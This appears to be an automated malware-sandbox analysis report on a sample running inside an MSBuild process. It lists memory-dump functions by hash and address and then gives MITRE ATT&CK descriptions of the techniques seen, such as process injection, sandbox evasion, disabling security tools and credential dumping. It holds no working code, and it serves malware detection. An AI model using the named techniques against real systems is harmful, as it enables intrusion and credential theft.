Opcode Fuzzy Hash: b2cf5a67092ff5468fbb2110a6236dfbd4dade51894fe54ac940a964eab9cd91
Instruction Fuzzy Hash: B251FF702112518FCB2AFF78FA989543FF1F77630D3148955E0488FA3EDA656A49CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01151138 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99e2c4ba4be128da3fbf6cf1331a9dd426bc89bd59caa6e64078e6e32834f6e0
Instruction ID: 49e2b1a0618071a8746fe040c32c0e7b188d687749c6940743150c43d54eac1b
Opcode Fuzzy Hash: 99e2c4ba4be128da3fbf6cf1331a9dd426bc89bd59caa6e64078e6e32834f6e0
Instruction Fuzzy Hash: 0551FC70211251CFCB2AFF78FA989543FF1F7B130D3548955E0488FA2EDA612A49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01151111 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08317d050a8c4b689140f3ab3aca6dca4490879a6a1c7c80fe8b56cbe7737f5b
Instruction ID: d5db42c4913429a698ee7d945f22b31e58c19378c5841853983d87da2e9a43fb
Opcode Fuzzy Hash: 08317d050a8c4b689140f3ab3aca6dca4490879a6a1c7c80fe8b56cbe7737f5b
Instruction Fuzzy Hash: B3410E70211251CFCB26EF78FA989543FF1F7B230D3548959D0488FA2EDB656A49CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0115DE6A Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 694a39a586cd0f13e37b6a41c8978fc21f689512ed69b1ef997fedb0a2dd636e
Instruction ID: 7a9eb12594f8da785c6c5cd0368d10f93bc26ba7358a5b6663b4898ace4c9f6d
Opcode Fuzzy Hash: 694a39a586cd0f13e37b6a41c8978fc21f689512ed69b1ef997fedb0a2dd636e
Instruction Fuzzy Hash: DC315C75B00216EFD709DB68D890E3AB7A6BBC8304F14C155E5459B299CB36EC43CB91

Uniqueness

Uniqueness Score: -1.00%

Function 011526DC Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27ae9eef4bd7ce0cb686ab2381ddc14a916514a20feda7052cb3a971adf4ab28
Instruction ID: 4bca6a7ec8605708f269ec1a9ce2ebff6046f7504c67f054a60a92b3ac67e285
Opcode Fuzzy Hash: 27ae9eef4bd7ce0cb686ab2381ddc14a916514a20feda7052cb3a971adf4ab28
Instruction Fuzzy Hash: FD41FEB5D00349DFDB14CFA9C984ADEBFF1EF48314F248429E819AB254DB74A949CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011526E8 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f786c1ae8881e7ac6f1791f8c6146edc194be89c66db5eb857db91e2ee22669
Instruction ID: df2609a9a34f4bf35f993e88e4488c5cad721ec26dbd7a61aa34f35180e57c7f
Opcode Fuzzy Hash: 6f786c1ae8881e7ac6f1791f8c6146edc194be89c66db5eb857db91e2ee22669
Instruction Fuzzy Hash: E541DCB1D00349DFDB14DFA9C984A9EBFF5EF48310F208429E819AB250DB75A945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0115A068 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f46d94b5f1da43fccb68fa67f868b25c0eb7d1fee55e66855ca293b2fefd701
Instruction ID: 576d55d60e71def21069c97e262ee8cd04c2c34d2b1bf1cfb147a29bdcb8b1a7
Opcode Fuzzy Hash: 1f46d94b5f1da43fccb68fa67f868b25c0eb7d1fee55e66855ca293b2fefd701
Instruction Fuzzy Hash: CA31B430E00219DBDB59CFA8D45469EFBB2FF89304F14C61AE916AB385DB719845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0115169F Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97ccf1c8c2cc61bf1df103f67261c928bdf087feb7a2f9c6cb7ab79dd14632b
Instruction ID: 203ceae63eaa8890d93ab2dc6dcd13d265cedde2eaaeac97bfb63a680a3545f3
Opcode Fuzzy Hash: a97ccf1c8c2cc61bf1df103f67261c928bdf087feb7a2f9c6cb7ab79dd14632b
Instruction Fuzzy Hash: A6212974600110AFDF67AB7CE88C7693791E75130DF044E61D45EC766AEB24D843CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0115A078 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d754be7fd0e9eb26e82e89437491dc0340c02245e63f38c7002716656cc299
Instruction ID: 5eb6fe4e27dee89fe5dde71cff3627cf0a9e5670e35a621b5d1a5bec109334c0
Opcode Fuzzy Hash: a9d754be7fd0e9eb26e82e89437491dc0340c02245e63f38c7002716656cc299
Instruction Fuzzy Hash: 7421A230E00219DBDB59CFA8D49469EFBB2FF89304F10C61AE815EB345DB719842CB90

Uniqueness

Uniqueness Score: -1.00%

Function 01151488 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c6a2bf514d7e2b23b8ec8bd9f8baf8fa5bdf318b1406f43aa1367ff5cddf6d4
Instruction ID: 5b08df73e8177e510b8849648e6cf5db6f8390caaa7ae4685550b5d4d524cee8
Opcode Fuzzy Hash: 3c6a2bf514d7e2b23b8ec8bd9f8baf8fa5bdf318b1406f43aa1367ff5cddf6d4
Instruction Fuzzy Hash: E321A431A00212DFDF6BABBC98503ADBBE1EB49315F15047AEC16E7341EB35C9428791

Uniqueness

Uniqueness Score: -1.00%

Function 011517C0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d519b0c325a2abda144ea1970798cf4a4ef254e4cc1c9ea0e08bc4d289206007
Instruction ID: 7d370573af66155e9636f5bfa53eaa948a1740f807be82559ccf5ce322acfef2
Opcode Fuzzy Hash: d519b0c325a2abda144ea1970798cf4a4ef254e4cc1c9ea0e08bc4d289206007
Instruction Fuzzy Hash: 11214535A01241AFCB63ABB8A8487AE3FA1EB85218F100865DC59C7341EB38C947CB81

Uniqueness

Uniqueness Score: -1.00%

Function 01159F68 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 092f8da121b88bc5f94a14055f781c6913b3a0d0852954ca98011fce182aabab
Instruction ID: e5a6723eec4e0c0a9c18e5b7241fd626aa055173b752024b68acedeab3b397de
Opcode Fuzzy Hash: 092f8da121b88bc5f94a14055f781c6913b3a0d0852954ca98011fce182aabab
Instruction Fuzzy Hash: 45219731E00209DBCF59CF64D4546DEBBB2AF89314F14861AEC16BB341DB709846CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0115A85A Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 285a238b8b816126d1a90abe23d4c6cf6374e86e38e610108025909e95c5f8df
Instruction ID: 3f24412a996f14c43557b9ab816433797ba0150f5c5331afed67f52b9bc1e421
Opcode Fuzzy Hash: 285a238b8b816126d1a90abe23d4c6cf6374e86e38e610108025909e95c5f8df
Instruction Fuzzy Hash: 3C21F230B40115CFEB58CB7DD854BAE7BF6AF88714F118229E911EB3A1EB718D008B90

Uniqueness

Uniqueness Score: -1.00%

Function 01154F8A Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29264ebfefc899d3514dd6dff8067043e4ecd18dc617776ca2058574dcdeab70
Instruction ID: f1c1f8e34fb39d27bb6196355ad47754da5c24ec6b82c20e43653185c9090d41
Opcode Fuzzy Hash: 29264ebfefc899d3514dd6dff8067043e4ecd18dc617776ca2058574dcdeab70
Instruction Fuzzy Hash: D5218134700144CFDB99EB78C559AADBBF1EF49304F2044A8E806EB365DB369D06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01151382 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e07de73fb016dfa32469ad8244f2bc090fbdb8154b86f922916d90ffd5a2593
Instruction ID: 3fe5913a72bb601a37a7a683b01fec15967c94af5682bbdff7d6723dce5f5ea5
Opcode Fuzzy Hash: 4e07de73fb016dfa32469ad8244f2bc090fbdb8154b86f922916d90ffd5a2593
Instruction Fuzzy Hash: C721C674A05240EFDBBB5B7CD85832C7F61EB02319F5008A6E857C7693DB29C886C741

Uniqueness

Uniqueness Score: -1.00%

Function 0102D030 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102340012.000000000102D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0102D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_102d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2533bcb1153e9173d08aad3a2d7ea64799fed48f87327aff3460bd1dd3225126
Instruction ID: ddd0a8f9fbc8ccf10f612d384e6df8f277d7cfaa56b4d51567c5e3e5b94f30e9
Opcode Fuzzy Hash: 2533bcb1153e9173d08aad3a2d7ea64799fed48f87327aff3460bd1dd3225126
Instruction Fuzzy Hash: 75212571604200DFCB11DF98D9C0B26BBA5FB84314F24C6ADE98A4B262C33AD847CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01151878 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a839ae0e2067fb0fe24b25922d245eb98f19f79ee53ded211810edffc469c773
Instruction ID: 684a92bcd38e240c40adc1c995a655200c08abbc06d943a06199a37dfd48b6d1
Opcode Fuzzy Hash: a839ae0e2067fb0fe24b25922d245eb98f19f79ee53ded211810edffc469c773
Instruction Fuzzy Hash: D6218E30B00245DFDFAAEB78C5557AD7BF2AF49208F200469D911EB361EB368D05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01151888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e93118dde3c81d9ae060f81a261e47905d63ca6ad9c340393884ff82c83ada16
Instruction ID: 1339c15667b4087fdbc28015ac52f63ae1267f09cfe00a1bca5f49dc2fb00d79
Opcode Fuzzy Hash: e93118dde3c81d9ae060f81a261e47905d63ca6ad9c340393884ff82c83ada16
Instruction Fuzzy Hash: 63213D30B00205DFDFAAEB78C5557AE77F2AF49205F200469D915EB354EB369D40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 01159F78 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6678aaccb64f8e308441de580169614e847ae3daed437ffe746f0ce3c7c8a17
Instruction ID: 06c071e1af5b5002fbf950848de37fafa2c511ee7d4b2c3b61249bc35cdeac58
Opcode Fuzzy Hash: f6678aaccb64f8e308441de580169614e847ae3daed437ffe746f0ce3c7c8a17
Instruction Fuzzy Hash: 8B218330E00309DBDB59CF64D45469EF7B2AF89304F14861AEC25BB380DB70A846CB52

Uniqueness

Uniqueness Score: -1.00%

Function 011516B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdb2ee936cf1e273e83b9b7d4ec44903d1e4fae6d4ef0a9c4fe6933879afea0
Instruction ID: 5ca94e9a9f117435c4c88b1199cd161d035afc27bac6c08b9705f7e85510c26c
Opcode Fuzzy Hash: 7bdb2ee936cf1e273e83b9b7d4ec44903d1e4fae6d4ef0a9c4fe6933879afea0
Instruction Fuzzy Hash: D321C674600111AFDB57E7BCE9487193796E75030DF104D21E40EC766AEF24D8828B91

Uniqueness

Uniqueness Score: -1.00%

Function 01154F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8db73cadfafdf35b414b032772286229385fb172743a38ea59a64a8cca141803
Instruction ID: 7bf942f441918c848c0f072a6818c96ea018c0b6263dccda8ee46f652d51729f
Opcode Fuzzy Hash: 8db73cadfafdf35b414b032772286229385fb172743a38ea59a64a8cca141803
Instruction Fuzzy Hash: 2C211D34700204CFDB98EB78C559AADBBF6EF49304F104468E906EB365EB769D01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01150838 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a3c021b57425918c1bebd22a2284b0a235ff49289f8ab81bdb9eb20b802227
Instruction ID: 364d6eed78d26ba7e07e667f71918267995718b21ff949fd1196cfd06db1c3a3
Opcode Fuzzy Hash: 69a3c021b57425918c1bebd22a2284b0a235ff49289f8ab81bdb9eb20b802227
Instruction Fuzzy Hash: 46110430E04300DFEFAA56F8941076D37A4EB4A314F14883AF826CB242DB65C8828BC2

Uniqueness

Uniqueness Score: -1.00%

Function 01150848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caf3d85b2e40f040ece3ef90600d6bfc27b2da1d9099c17a6fe40b878f494695
Instruction ID: 19e3e277a7282b5fa5ea250227f1a8a099b1f04587c9c2df36fe3f5f7ae15fca
Opcode Fuzzy Hash: caf3d85b2e40f040ece3ef90600d6bfc27b2da1d9099c17a6fe40b878f494695
Instruction Fuzzy Hash: 0F119030F00204DFEFA95AF8D404B2D32A5EB49315F108939F82ADB252DB61CC818BC1

Uniqueness

Uniqueness Score: -1.00%

Function 01151498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d2c8c3fd2a769868aea3182391434372eaf28b172c7b94df11a168d4868ca86
Instruction ID: a9856eefe0c80250890edea28126a3ef82046827186c1fd0316cc290e00a717c
Opcode Fuzzy Hash: 7d2c8c3fd2a769868aea3182391434372eaf28b172c7b94df11a168d4868ca86
Instruction Fuzzy Hash: 6C014031A00215DFCFAAEFB884502AEBBF5EF49218B25047AEC15E7301E735D9418BE5

Uniqueness

Uniqueness Score: -1.00%

Function 0102D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102340012.000000000102D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0102D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_102d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 668d540619dd0c21b5a94ef5cfd9c8a14a99494d37911c45921441e6287cadaa
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 2B11BE75504280DFDB12CF54D5C4B15BBB2FB84314F24C6AAE8494B666C33AD84ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 0115A6B8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10990643c0437e3189e58dd5e22407b6bf9ed4f8648f7bae4cfefb7bb57ed828
Instruction ID: 34e20cf8d36e397f1444740cba8c52a226c5d2add3b5a22e0a8c6a287c8d8024
Opcode Fuzzy Hash: 10990643c0437e3189e58dd5e22407b6bf9ed4f8648f7bae4cfefb7bb57ed828
Instruction Fuzzy Hash: B0110830A002548FDB04DF68E88478ABFB1EF89311F14C6A4DC8C5F29BD770A94AC791

Uniqueness

Uniqueness Score: -1.00%

Function 01158F08 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5bb99cdda5f45dfefa89183873b7e0820fa5c54b2271299a1e8bc229dde8525
Instruction ID: b95498a6c773a8c517bec10066c39e5876ebdffe0a2141d1a3cec74d882d6dbf
Opcode Fuzzy Hash: c5bb99cdda5f45dfefa89183873b7e0820fa5c54b2271299a1e8bc229dde8525
Instruction Fuzzy Hash: 40018474911258AFCB42FBB8E954ADC7FF5EF51309B0046A9C00A9B269DA312E46CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01157EA8 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368dc94d207bb80708c2459d631e78c1294887baad180f64b446d3b1c8d30232
Instruction ID: 12882f5f882bc54eb46bd060fa943511377815541f46d0627cdf4c3ed07bdb0a
Opcode Fuzzy Hash: 368dc94d207bb80708c2459d631e78c1294887baad180f64b446d3b1c8d30232
Instruction Fuzzy Hash: 07F0B235B40214CFC714EB74D598A6D77B2EB88755F6048A8E90ADB3A0DB35AD43CB41

Uniqueness

Uniqueness Score: -1.00%

Function 01158F18 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.4102759487.0000000001150000.00000040.00000800.00020000.00000000.sdmp, Offset: 01150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1150000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 662616c524712dfcf268c57b14bf870d724f2d95e9100d0d4e5bbc66d258f69d
Instruction ID: bc41662e22951323e62ccb913564092601842c0cb24bb56b916fca7c47c7f404
Opcode Fuzzy Hash: 662616c524712dfcf268c57b14bf870d724f2d95e9100d0d4e5bbc66d258f69d
Instruction Fuzzy Hash: 96F08174900218AFCB05FBF8E944A8C77F9EB50309F004A78D00E9B298DA302E458B81

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

